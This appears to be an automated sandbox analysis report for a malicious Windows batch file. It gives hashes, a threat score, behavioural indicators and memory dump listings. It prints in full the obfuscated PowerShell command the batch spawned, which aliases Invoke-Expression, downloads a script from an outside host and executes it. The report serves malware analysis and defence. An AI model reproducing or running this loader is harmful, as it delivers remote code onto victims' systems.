701c9d874a79ecd2461ae5ee5cbdc945dbe103d0e09ac080684e077b04c9d559

Analysis

max time kernel
140s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
19/02/2024, 12:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

doc20241902070611.bat
Size

931B
MD5

dfade09934901ca341eeb0476abe0e0f
SHA1

5d5254c102b1578f9735ebded142ada7d68139b3
SHA256

bd8d0519e4ffd971d5b9b3eb59f01de7b367cf45b65e255d220894a4e9e24a3e
SHA512

c9996a7905d5319c79bf0db07c8380f93181ccf9153353c75f7f1d5135e111e0755d4d0a15934caad5632b74c543b559248e48088a3d51087aa434c2b68cee69

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	3168	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3168	powershell.exe
3168	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeIncreaseQuotaPrivilege	3168	powershell.exe
Token: SeSecurityPrivilege	3168	powershell.exe
Token: SeTakeOwnershipPrivilege	3168	powershell.exe
Token: SeLoadDriverPrivilege	3168	powershell.exe
Token: SeSystemProfilePrivilege	3168	powershell.exe
Token: SeSystemtimePrivilege	3168	powershell.exe
Token: SeProfSingleProcessPrivilege	3168	powershell.exe
Token: SeIncBasePriorityPrivilege	3168	powershell.exe
Token: SeCreatePagefilePrivilege	3168	powershell.exe
Token: SeBackupPrivilege	3168	powershell.exe
Token: SeRestorePrivilege	3168	powershell.exe
Token: SeShutdownPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeSystemEnvironmentPrivilege	3168	powershell.exe
Token: SeRemoteShutdownPrivilege	3168	powershell.exe
Token: SeUndockPrivilege	3168	powershell.exe
Token: SeManageVolumePrivilege	3168	powershell.exe
Token: 33	3168	powershell.exe
Token: 34	3168	powershell.exe
Token: 35	3168	powershell.exe
Token: 36	3168	powershell.exe
Token: SeIncreaseQuotaPrivilege	3168	powershell.exe
Token: SeSecurityPrivilege	3168	powershell.exe
Token: SeTakeOwnershipPrivilege	3168	powershell.exe
Token: SeLoadDriverPrivilege	3168	powershell.exe
Token: SeSystemProfilePrivilege	3168	powershell.exe
Token: SeSystemtimePrivilege	3168	powershell.exe
Token: SeProfSingleProcessPrivilege	3168	powershell.exe
Token: SeIncBasePriorityPrivilege	3168	powershell.exe
Token: SeCreatePagefilePrivilege	3168	powershell.exe
Token: SeBackupPrivilege	3168	powershell.exe
Token: SeRestorePrivilege	3168	powershell.exe
Token: SeShutdownPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeSystemEnvironmentPrivilege	3168	powershell.exe
Token: SeRemoteShutdownPrivilege	3168	powershell.exe
Token: SeUndockPrivilege	3168	powershell.exe
Token: SeManageVolumePrivilege	3168	powershell.exe
Token: 33	3168	powershell.exe
Token: 34	3168	powershell.exe
Token: 35	3168	powershell.exe
Token: 36	3168	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 3168	4120	cmd.exe	85
PID 4120 wrote to memory of 3168	4120	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\doc20241902070611.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','str','ing';$rotJ=($rot -join '');$bnt='https','://antuofermo.it/G19.txt';$bng0=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bng0);z($mv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3168

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sd3bism4.lz5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3168-7-0x000002196F690000-0x000002196F6B2000-memory.dmp

Filesize
136KB

Download
memory/3168-12-0x00007FFD79840000-0x00007FFD7A301000-memory.dmp

Filesize
10.8MB

Download
memory/3168-13-0x000002196ECD0000-0x000002196ECE0000-memory.dmp

Filesize
64KB

Download
memory/3168-15-0x000002196ECD0000-0x000002196ECE0000-memory.dmp

Filesize
64KB

Download
memory/3168-14-0x000002196ECD0000-0x000002196ECE0000-memory.dmp

Filesize
64KB

Download
memory/3168-16-0x00007FFD79840000-0x00007FFD7A301000-memory.dmp

Filesize
10.8MB

Download
memory/3168-17-0x000002196ECD0000-0x000002196ECE0000-memory.dmp

Filesize
64KB

Download
memory/3168-18-0x000002196ECD0000-0x000002196ECE0000-memory.dmp

Filesize
64KB

Download
memory/3168-19-0x000002196ECD0000-0x000002196ECE0000-memory.dmp

Filesize
64KB

Download
memory/3168-22-0x00007FFD79840000-0x00007FFD7A301000-memory.dmp

Filesize
10.8MB

Download